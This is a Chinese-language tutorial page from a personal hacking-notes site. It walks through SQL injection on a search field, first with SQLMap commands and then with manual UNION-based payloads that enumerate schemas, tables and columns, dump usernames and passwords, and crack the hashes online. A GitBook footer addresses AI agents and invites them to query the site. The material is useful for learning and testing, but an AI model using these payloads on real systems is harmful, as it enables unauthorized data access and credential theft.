> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/hacking-tools/web/sqlmap/sql-injection-sqlmap-and-manual-testing.md).

# 使用 SQLMap 和手动测试进行 SQL 注入

{% hint style="info" %}
一个 **SQL 注入** 是 Web 应用程序中的一种安全漏洞，当恶意 SQL 查询被插入到输入字段中以操纵底层数据库时就会发生。这使攻击者能够访问、修改或筛选未授权数据。像 SQLMap 这样的工具通过识别并利用此类漏洞来自动化这一过程，以自动化方式执行 SQL 注入。或者，攻击者也可以通过直接操纵条目手动进行 SQL 注入攻击，从而未经授权访问数据库。
{% endhint %}

## 自动化 SQL 注入（SQLMap）

1. 让我们使用 Burp Suite 拦截一个搜索请求：

<figure><img src="/files/250e27e9fa634fc6bdb3edf6641139c1d785d676" alt=""><figcaption></figcaption></figure>

2. 让我们将这个请求保存到一个文件中，我们将其命名为 **request.req**:

<figure><img src="/files/d79d14911eaed4e0860e3dd709ad15cea6b2976f" alt="" width="563"><figcaption></figcaption></figure>

3. 该文件包含以下 **内容**:

<figure><img src="/files/c8ee1cab2ea5d94684e296bec3722ba6d35b5320" alt="" width="563"><figcaption></figcaption></figure>

4. 通过 **SQLMap** 工具，让我们运行以下命令来查看这个网站是否 **有漏洞的** 对一个 **SQL 攻击**:

```bash
sqlmap -r request.req  -p searchitem --batch  
```

<figure><img src="/files/dfec66e47832b981463ac0c5fde4798a34c1c5c1" alt=""><figcaption></figcaption></figure>

5. 使用此命令，让我们列出所有 **数据库**:

```bash
sqlmap -r request.req  -p searchitem --batch --dbs
```

<figure><img src="/files/797b7aa72851de3aed927221c41159983eec9f91" alt="" width="563"><figcaption></figcaption></figure>

6. 使用此命令，让我们列出所有 **表** 某个特定数据库的：

```bash
sqlmap -r request.req  -p searchitem --batch -D "database_name" --tables
```

<figure><img src="/files/a4acf8f4c9e5574422b66411f5c892b5e8e05da7" alt="" width="563"><figcaption></figcaption></figure>

7. 使用此命令，让我们列出所有 **列** 某个特定表的：

```bash
sqlmap -r request.req  -p searchitem --batch -T "table_name" --columns
```

<figure><img src="/files/c885a50d8b6af318d7b7f0b25f7421f345998d47" alt=""><figcaption></figcaption></figure>

8. 使用此命令，让我们查看 **内容** 列的内容：

```bash
sqlmap -r request.req  -p searchitem --batch -T users -C username,password --dump
```

*如果该工具找到加密的密码，它会自动将其解密*:

<figure><img src="/files/c41fd3e06a46034d4282b19ce4bf8f24da1ce0b5" alt="" width="563"><figcaption></figcaption></figure>

***

## 手动 SQL 注入

1. 让我们使用 Burp Suite 拦截一个搜索请求：

<figure><img src="/files/250e27e9fa634fc6bdb3edf6641139c1d785d676" alt=""><figcaption></figcaption></figure>

2. 将此请求发送到 **重放器**:
3. 在 **searchitem** 搜索字段，添加以下内容：

```bash
test' order by 100-- -
```

4. Web 服务器告诉我们有 **没有那么多列**:

<figure><img src="/files/0d8da4c8c9eb4fc16c1f992712a3fd457f894ae2" alt="" width="563"><figcaption></figcaption></figure>

5. 让我们尝试 **直到没有剩余为止** （在这种情况下，有 5 列）：

<figure><img src="/files/bb7042368c38e004c8f7141d7d43a29924885e34" alt="" width="563"><figcaption></figcaption></figure>

6. 我们现在知道 **有 5 列**，现在使用 **union** 函数，我们将 **查看** 它们：

```arduino
test' union select 1,2,3,4,5-- -
```

<figure><img src="/files/de4af438f5b544e0d4dfe9f1ba3d629e1d47b005" alt="" width="563"><figcaption></figcaption></figure>

* 如果 **更改名称** 例如第三列的“test”，它 **也会改变**:

<figure><img src="/files/096fbc8acb2dc1572bb8ce632d7bd08a685910a1" alt="" width="563"><figcaption></figcaption></figure>

7. 这意味着如果我们输入 **database()** 或 **user()** 函数， **数据库名称** 或 **运行该数据库的用户名** 将显示出来：

<figure><img src="/files/e56c189a379568007b13dd410460d4b253dd7ac7" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="/files/aaaa71c9465e692ece032f84c7c53a0c9e2f3992" alt="" width="563"><figcaption></figcaption></figure>

**以下是手动列出信息的步骤：**

1. 让我们列出所有 **数据库**:

```bash
test' union select 1,2,schema_name,4,5 from information_schema.schemata-- -
```

<figure><img src="/files/abae50eeaa17552a046021c0954b9b50061ee2bc" alt=""><figcaption></figcaption></figure>

2. 让我们列出所有 **表** 某个特定数据库的：

```rust
test' union select 1,2,table_name,4,5 from information_schema.tables where table_schema='database_name'-- -
```

<figure><img src="/files/b81ae794172f600e0dd1e5b43ac2ecd9e203512d" alt=""><figcaption></figcaption></figure>

3. 让我们列出所有 **列** 某个特定表的：

```rust
test' union select 1,2,column_name,4,5 from information_schema.columns where table_schema='database_name' and table_name='table_name'-- -
```

<figure><img src="/files/5f8a7c5ea4b33ae81c6ad1bf319f6770dbdd8e55" alt=""><figcaption></figcaption></figure>

4. 让我们查看 **用户名和密码列的内容** （在这种情况下，我们使用“产品名称”和“产品类型”列）：

```arduino
test' union select 1,username,password,4,5 from users-- -
```

<figure><img src="/files/f4ce42a0a2f78defe7c89556e5fb609c6a7d1882" alt=""><figcaption></figcaption></figure>

* 让我们列出 **用户名和密码列的内容** 再次：

```scss
test' union select 1,2,group_concat(username,0x3a,password),4,5 from users-- -
```

<figure><img src="/files/5ac1a1084c11678a1c91b81d841ff8213d02fd94" alt=""><figcaption></figcaption></figure>

5. **让我们复制内容** 到 Burp Suite 的 Pretty 部分：

<div data-full-width="true"><figure><img src="/files/d4ff3dec4ed699d076aca0c359f4920c322abfc8" alt=""><figcaption></figcaption></figure></div>

6. 让我们打开 **Nvim** 文本编辑器，粘贴复制的文本，然后使用此命令将其正确格式化： `:%s/,//r/g`
7. 使用此命令，让我们只保留哈希并将它们复制到 **剪贴板**: `cat data | awk '{print $2}' FS=":" | xclip -sel clip`

<figure><img src="/files/ec2f5308eb213b763082f6c20c4fc8bf2185c21d" alt="" width="563"><figcaption></figcaption></figure>

8. 最后，使用 [Hashes.com](https://hashes.com/en/decrypt/hash) 网站，获取以下密码的 **明文**:

<figure><img src="/files/0b7d2b1d86c67c376e2daa63c4d0b3a95db059a9" alt="" width="563"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/zh/hacking-tools/web/sqlmap/sql-injection-sqlmap-and-manual-testing.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
